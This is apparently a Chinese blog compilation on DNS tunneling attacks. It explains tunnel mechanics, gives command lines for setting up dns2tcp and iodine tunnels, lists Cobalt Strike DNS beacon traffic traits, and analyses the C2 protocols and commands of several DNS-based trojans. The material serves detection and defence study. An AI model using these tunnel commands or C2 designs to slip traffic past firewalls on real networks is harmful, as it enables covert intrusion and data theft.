今天看到一个关于Lyceum组织的文章,这个组织擅长使用dns隧道攻击,这种攻击方式还是头一次听说,于是搜集了一些文章来看看。
原文https://www.cnblogs.com/HighnessDragonfly/p/14631308.html
DNS协议是一种请求应答协议,也是一种可用于应用层的隧道技术。虽然DNS流量的异常变化可能会被发现,但是在基于传统socket隧道已经濒临淘汰,TCP、UDP通信大量被安全设备拦截的大背景下,DNS、ICMP、HTTP/HTTPS等难以禁用的协议已经成为攻击者使用隧道的主流选择。
选择DNS协议作为通信隧道的主要优势在于:一方面,DNS是网络环境中必不可少的服务,另一方面,由于防火墙和IDS设备本身较少存在过滤DNS流量的行为,使得DNS报文本身具有了穿越WAF的能力。同时,越来越多的研究数据也证明了DNS隧道在APT攻击和僵尸网络中扮演着重要角色。
DNS隧道原理:
核心思想:端口不和服务绑定,可以传输任何数据。
正常网络之间的通信,是发生在两台机器建立TCP连接之后的。如果目标是IP,则会直接发送报文,如果是域名,则将域名解析为IP再通信。
C&C服务器在建立连接后将指令传递给客户端上的后门程序。
客户端后门程序进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果,如果互联网上有一台攻击者设置的服务器,那么服务器就可以依靠域名解析的响应进行数据包的交换,从DNS协议的角度来看,这样的操作只是反复查询某个或者某些特定的域名并且得到解析结果,但其本质是,DNS预期的返回结果应该是一个IP地址,而事实上返回的可以是任意字符串,包括加密的C&C指令,从而将其他协议封装在DNS协议中进行传输。
DNS隧道木马的通信结构如下:
DNS协议开头为Transaction ID为字段,2字节,用于辨别DNS应答报文是哪个请求报文的响应:
技术要点:
- DNS缓存机制的规避
使用中继隧道时,如果需要解析的域名在本地的DNS Server中已经有缓存时,本地的DNS Server就不会转发数据包。所以在构造的请求中,每次查询的域名都是不一样的。
- DNS载荷的编码
从高层来看,载荷只是客户端和服务器通信的正常流量。例如客户端发送一个A记录请求给服务器,查询的主机名为2roAUSwVqwOWCaaDC.test.nuoyan.com,其中2roAUSwVqwOWCaaDc则是客户端传递给服务器的信息,这串字符解码后的信息便是DNS隧道。
DNS隧道攻击分为两种:IP直连型和域名中继型
IP直连型:
直连也就是客户端直接和指定的目标DNS Server(Authoritative NS Server)连接,通过将数据编码封装在DNS协议中进行通信,这种方式速度更快,但是隐蔽性较差,容易被WAF或者IDS设备探测到,另外限制比较高,很多实际场景下不允许攻击者来自定义DNS Server,否则很容易被发现。
DNS协议的下层协议为UDP传输协议,这种隧道客户端通常使用UDP socket建立连接,实际上是基于UDP的,但是要利用到53端口。
域名中继型:
通过DNS递归查询实现的中继隧道,比较隐蔽,但同时因为数据包到达目标DNS Server前需要经过多个节点,所以速度上较直连慢很多(其实就类似伪造一台私有DNS Server,当然也许大佬神仙们真有一台权威DNS Server也说不一定哈),同时我们还需要规避本地客户端的DNS缓存,这里可以使用随机域名生成算法(DGA)。很多恶意软件利用该算法生成随机域名,有效绕过黑名单检测,通过轮询的方式尝试连接,寻找C2控制中心。(DGA算法的检测测方法也有不少,这里按下不表)
①受到木马控制的PC将数据封装到DNS数据报文里,向位于内网的本地域名服务器请求查询baidu.com
②本地域名服务器透过防火墙向根域名服务器发送查询请求
③经过大量的递归重定向,查询请求发到baidu.com的(伪造)权威域名服务器
④baidu.com(伪造)权威域名服务器是在攻击者控制下,解析并发送响应包
⑤dns响应包穿透内网防火墙
⑥进入内网
⑦本地域名服务器将响应包返回给受控客户端
⑧受控客户端解析DNS响应包中的数据,获取指令
几种常见DNS隧道工具流量分析
1、dns2tcp
dns2tcp是一个利用DNS隧道转发TCP连接的工具,是由Olovier Dembour和Nicolas Collignons开发,使用C语言编写。支持DNS协议KEY和TXT类型的请求。使用此工具不需要额外安装TUN/TAP,可用性和实用性很强。
工具使用:
服务器端,默认配置文件
resources里面配置的是dns2tcp供客户端使用的资源。作用是:客户端在本地监听一个端口,并指定使用的资源,当有数据往端口传送后,dns2tcp客户端将数据用DNS协议传动到服务器,然后服务器将数据转发到对应的资源配置的端口中。
启动DNS2TCP客户端的命令如下;
dns2tcpc -c -k pass -l 2222 -d 1 -r ssh -z ns1.abc.com
其中:-c表示启用数据压缩;-d表示启动调试,1为调试等级;-l表示监听本地端口,2222为端口名;-r为使用服务端上的哪个资源,ssh为资源名,可以为http;-z后的ns1.abc.com为前面配置的NS记录的域名。
然后就可以在内网主机192.168.32.132访问本地2222端口,测试成功,可以访问外网主机的ssh资源。
类似的方法,选择http然后将浏览器的代理服务器地址设为127.0.0.1:8118,代理类型为HTTP代理,也可以通过DNS隧道上网了。
流量分析:
请求体与响应体完全一致,响应体多出一段加密的base64的加密流
原理是通过DNS请求头 域名的信息的TXT记录加密传输信息,可以看到DNS的查询请求的域名信息test.lab.com前的一串数据,里面就是加密过后的交互数据。DNS隧道建立后,client还是会不断地发包给server心跳包,确认服务器端处于存活状态,保证传输的顺畅。
DNS2TCP使用子域的前4个字节来维护和跟踪相同的会话。通过删除 session-tag,我们可以使用base64解码SSH会话中的实际有效负载
总结:
client通过TXT类型记录的域名前缀来发出数据,采用的是base64加密的方式。
从发包行为上可以发现,在进行传输数据这种大量数据交互操作的情况
2、iodine
与同类工具相比,iodine具有以下特点:
- 下行流量不编码(下行流量是指流出服务器的流量,s to c)
- 强制密码
- 支持同一网段之间的隧道
- 支持多种dns记录格式
Iodine默认使用TXT和NULL类型发送数据,支持NULL,TXT,SRV,MX,CNAME,A等多种查询请求类型。
iodine -fP passwd 96.45.188.252 dnsns.hackbiji.top
-f 前台运行 -D调试级别(输出相关级别日志)
如果发生在内网,你无法访问外网IP(96.45.188.252)的时候,可以去掉IP地址,直接通过内网的DNS服务器帮你请求,依然能达到建立隧道的效果。
iodine -fP hackbjipasswd dnsns.hackbiji.top
原理:
在服务端通过TAP虚拟网卡,在服务端建立一个局域网,彼此之间能ping通那种;
在客户端通过TAP建立虚拟网卡,两者之间通过dns隧道连接,实现出于同一个局域网,客户端会出现一个“dns0”的虚拟网卡。
流量分析:
DNS默认使用数据类型为NULL类型,是一种已经过时的记录类型,现在废弃了。
3、Cobaltstrike DNS beacon
目标靶机的端口开放情况没有变化,隐蔽性高。
CC服务器不容易暴露(因为借用了域名服务器可以使用重定向),蓝队需要递归dns查询反向查找。
可以利用mode命令随时改变数据传输通道,例如mode dns使用A记录传输,mode dns6使用AAAA记录,mode http显而易见使用http通道等等。
profile idle参数可修改teamserver响应IP
流量分析
流量特征:
超长子域名
Dns默认响应值:0.0.0.0
默认使用TXT格式传递base64格式的加密信息
原文内网渗透系列:内网隧道之DNS隧道_思源湖的鱼的博客-CSDN博客_dns隧道
- Trojan.Win32.Ismdoor.gen:使用了多层C&C通信协议结构,使用了DNS隧道技术,C&C服务器的命令会被协议为IPv6地址
- Backdoor.Win32.ClIEcker:允许恶意程序从服务器接收随机类型的DNS数据包,该木马没有逻辑上的子协议,只有发送和接收数据包的请求
- Backdoor.Win32.Denis:该恶意程序只使用一个DNS格式的数据包与DNS服务器通信,这种格式汇总,回应的大小被限制为只有4个字节,这只是一个常规的木马下载器,而且下载文件的速度很慢
- PlugX远控变种: 该后门木马结合DNS隧道传输技术和PlugX远控程序,通过建立的DNS隧道进行攻击控制。利用DNS请求应答机制作为攻击渗透的命令控制通道,把C&C服务器指令封装到DNS相应报文中,以此控制被控端主机。并且依托DNS协议的特性,该木马可以有效穿透防火墙,躲避常规的安全检测
- 2016年5月,Palo Alto曝光了一起APT攻击,Webky团队利用DNS请求应答作为攻击渗透的命令控制通道。攻击者把CC服务器的指令封装在DNS响应报文里
- 2017年3月,思科Talos团队发现一起名为DNSMessenger的攻击,该恶意软件的所有命令与控制通信都经过DNS TXT类型查询和响应。以此来躲避检测
Trojan.Win32.Ismdoor.gen
下面的第一个恶意软件有多层的C&C通信协议结构,类似于OSI模型。由于这点将它与文章中的其他木马区分开来,而Trojan.Win32.Ismdoor.gen的创造者显然在设计和开发方面付出了很多努力。
当然,这个木马的传输层使用了DNS隧道技术。尽管DNS服务器配置和实际的协议允许这个值更大,但发出的'数据报'的长度还是被限制为60个字符,C&C服务器的命令被解析成IPv6地址。
典型的发送到C&C服务器的查询如下所示:
n.n.c.<Session ID >.<Server domain>.com
图 传输层请求和响应的结构
在DNS隧道传输层之上有一个会话层协议,这意味着其具有交换“短”和“长”数据包的功能。不同于传输层的是,它有一个机制来检查丢失的消息。当全部的包发送并接收后,传输层会话终止,会话层通过检查每个发送的数据包是否并正确接收从而关闭。这一切都取决于服务器决定使用哪个选项;例如,在受感染的计算机上使用“长”数据包协议上传文件。
图 短消息交换协议的例子
短消息
在这个级别上,程序的操作可以分解为五个步骤:
- 告诉服务器会话ID
- 用数据包发送消息
- 发送已发送数据包的序号
- 接收即将收到的数据包序号
- 接收即将收到的数据包
一个会话例子如下图:
1.告诉服务器会话ID
每次通信会话建立时,程序都会生成一个GUID并将其发送到服务器。然后使用此GUID来标识该会话中的所有通信,并总是将其写入第三级域名的位置。在这种情况下,url的结构如下:
n.n.c.<Session ID>.<Server domain>.com
消息A67DDB8A2A17334765443253702AA3
就是一个积极的回应。否则,GUID再次发送到服务器。
2.用数据包发送消息
正如我们前面所说,选定的通信机制对数据包大小施加了一定的限制。发出的消息被分成60个字节长的数据包,并以URL的形式发送:
<Outgoing packet>.<Packet number>.dr.<Session ID >. <Server domain>.com
得到的响应必须是A67DDB885A3432576548A2A3707334。
3.发送已发送数据包的序号
当所有数据包发送成功后,它们的序号将作为查询发送,格式如下:
n.<Number of packets>.f.<Session ID >.<Server domain>.com
应该注意的是,分组编号从0开始, 得到的响应为20202020202020202020202020202020。
4.接收即将收到的数据包序号
这一步的URL格式如下:
n.n.fc.<Sessions ID >.<Server domain>.com
响应必须采用以下格式:
A67D: DB8: 85A3: 4325: 7654: 8A2A
:: <Number of incoming packets>
5. 接收即将到来的数据包
接收下一个数据包的请求如下所示:
www. <Packet number>.s. <Session ID > .<Server domain>.com
即将收到的的消息以16字节的IPv6数据包的形式出现。
长消息
在这种情况下,与服务器的通信可以分解成以下步骤:
- 发送文件被分割的数据包的数量;
- 发送文件;
- 定期向服务器发送查询以检查丢失的数据包;
- 重发丢失的数据包。
1.发送数据包的数量
查询: n.<Number of packets>.<Session ID >.<Server domain >.com
响应: A67DDB8A2A17334765443253702AA3
2.发送文件
查询: <Outgoing packet>.<Packet number >.d.<Session ID >.<Server domain >.com
响应:服务器没有回复此消息,或发送“服务器失败”。
3.定期向服务器发送查询以检查丢失的数据包
程序定期地将下面的查询发送到服务器:
uff<Number of packets>.< Number of packets >.<Server domain >.com
响应:20202020202020202020202020202020
之后,实现上一部分中的“接收即将到来的数据包数量”和“接收即将到来的数据包”。
作为响应,发送服务器丢失的包的数量(以逗号分隔)。
4.重发丢失的数据包
查询: <Outgoing packet>.<Packet number>.dl.<Session ID>.<Server domain>.com
OSI中的表示层负责编码和解码消息,服务器响应中的IPV4地址段是一个的常规16进制的ASCII字符串,向服务器发送查询包含的DNS查询,使用重新定义的索引表,并用Base64编码。
图 第一条消息和它的表示层的示例
应用程序层只是一组类似于C&C服务器的类GET查询:
- 检查连接:查询为字符串
'M:CC?'
; - 注册连接:这决定了可用的命令,以及受感染计算机和木马的ID(
M:AV?appId = <...>&uniqueId = <...>
); - 确定注册命令;
- '泛型'响应(
M:ME?appId = <...>&message = <...>
); - 接收命令(
M:GAC?appId = 8
); - 确认命令(
M:CR?cd = <Command GUID>
); - 发送文件(
M:SF?commandId=CmdResult=<Command GUID>|||<Result of command execution >
); - 接收文件(
M:GF?
)。
如上所述,这个木马是精心设计和编写的,有一个经过深思熟虑的通信系统以及一个有效载荷的丰富功能。下面是一些它的主要命令:
- SI - 发送有关感染系统的信息;
- RunNewVersion - 更新;
- Restart - 重启;
- remove - 删除;
- CreateMimi1Bat - 执行 Mimikatz;
- ExecuteKL - 激活键盘记录器;
- RemoveKL - 删除由ExecuteKL创建的文件;
- GetVersion - 报告木马的版本;
- PauseUpload - 暂停上传文件到服务器;
- ResumeUpload - 恢复上传文件到服务器;
- PauseDownload - 暂停从服务器上下载文件;
- ResumeDownload - 恢复从服务器上下载文件;
- PWS - 截图;
- DownloadFile - 从服务器下载文件;
- UploadFile - 上传文件到服务器。
其他可用于木马的命令负责其操作的逻辑(如改变C&C地址等)。
Backdoor.Win32.ClIEcker
下一个样本使用了一种不同的工作流,基于ANY DNS 数据包。该机制允许恶意程序从服务器接收随机结构的DNS数据包。这个木马没有任何逻辑上的子协议 - 只有发送和接收数据包的请求。我们能够检测到这个木马的几处不同,接下来我们描述一下这些特征。
Backdoor.Win32.ClIEcker的一个有趣的特点是如何找到受害者计算机的IP地址 - 它使用了Internet Explorer的COM接口。该木马包含一系列网页地址,访问者在其中可以看到他们自己的IP地址(例如http://www.ip-adress.com)。该木马随机选择其中一个地址访问,在页面主体中查找IP地址后面的字符串,并提取该字符串。为了尽可能掩盖这个查询,木马还将选择一个随机引用地址,并将其用于Internet Explorer的相应请求。
唯一不清楚的是为什么使用这种复杂的方法,通常,木马通过向站点返回包含IP地址的字符串作为HTML页面的数据,来找出计算机的IP地址。也许这样做是为了避免解决这个木马的IoC列表中的IP地址,或者它可能只是一个从代码存储库或论坛中进行的无意义的剪切和粘贴工作。
更复杂的是,木马程序支持一个命令,在服务器请求的情况下,在Internet
Explorer中打开一个网站 - 为此使用形式为“IEXPLORE.EXE
google.com”的简单调用,而不是复杂的COM交互。因此,虽然木马可能被检测为Trojan-Clicker,但正如我们在前面的文章中所解释的那样,木马程序通常使用虚拟桌面来执行此操作。
图 用于解析IP /引用地址和通过COM接收页面内容的URL地址示例
在发起请求时,描述受害者系统的几个参数与一个唯一的RC4密钥一起发送,该密钥是使用受害者计算机中的以下信息创建的:
- 操作系统的版本;
- 显示调制解调器连接是否被使用的逻辑标志位;
- 木马ID;
- 经加密的用户IP地址;
- 反病毒服务代码。
解释下最后一点,该木马包含一个安全软件列表;每个安全产品在发送到服务器的代码中都有一个编码号。例如,所有与McAfee产品相关的进程都将通过反病毒服务代码中的标志0x400表示。
接下来,我们将给出一些命令的描述:
代码号为8的命令值得特别注意,因为它包含了木马的主要功能。它的工作是下载和启动有效载荷。这个命令有以下的参数:
文件以TXT格式的DNS数据包中传输。
在默认情况下,所有与服务器进行的通信均使用基于受害者计算机信息生成的RC4密钥进行加密。但是,服务器可能会要求更改密钥,并在文件下载请求中发送新的密钥。在任何情况下,生成S盒所需的密钥都是自己加密的,随后使用结果字符串。
S盒根据分组编号进行修改,因此每个新分组都是唯一的。
解密完成后,使用CRC32检查生成的文件的完整性。
Backdoor.Win32.Denis
Backdoor.Win32.Denis具有最简单的结构和DNS服务器通信功能。这个恶意软件与本文中描述的木马具有相同的名称,这是仅有的一点相同之处。
这个恶意程序使用一个DNS格式的数据包与DNS服务器进行通信; 在这种格式中,响应大小被限制为4字节。所有迹象表明这是一个常规的木马下载器,并且下载文件的速度很慢,发送到服务器的消息的典型格式如下所示:
IC<Container type>.<UID>.<Container>.<Server address>
“Container”域指的是木马程序的打包形式,其结构会因命令和响应而变化很大。UID是长度为0x20个字节长度的用户ID,它是一个Base32编码的字符串,经解码后具有以下的结构:
“container”也是一个Base32编码的字符串:
在这里一共有四种类型的容器,木马根据收到的命令和执行结果确定需要哪一个:
命令
从命令的描述可以看出,这个木马的目的是下载和启动文件。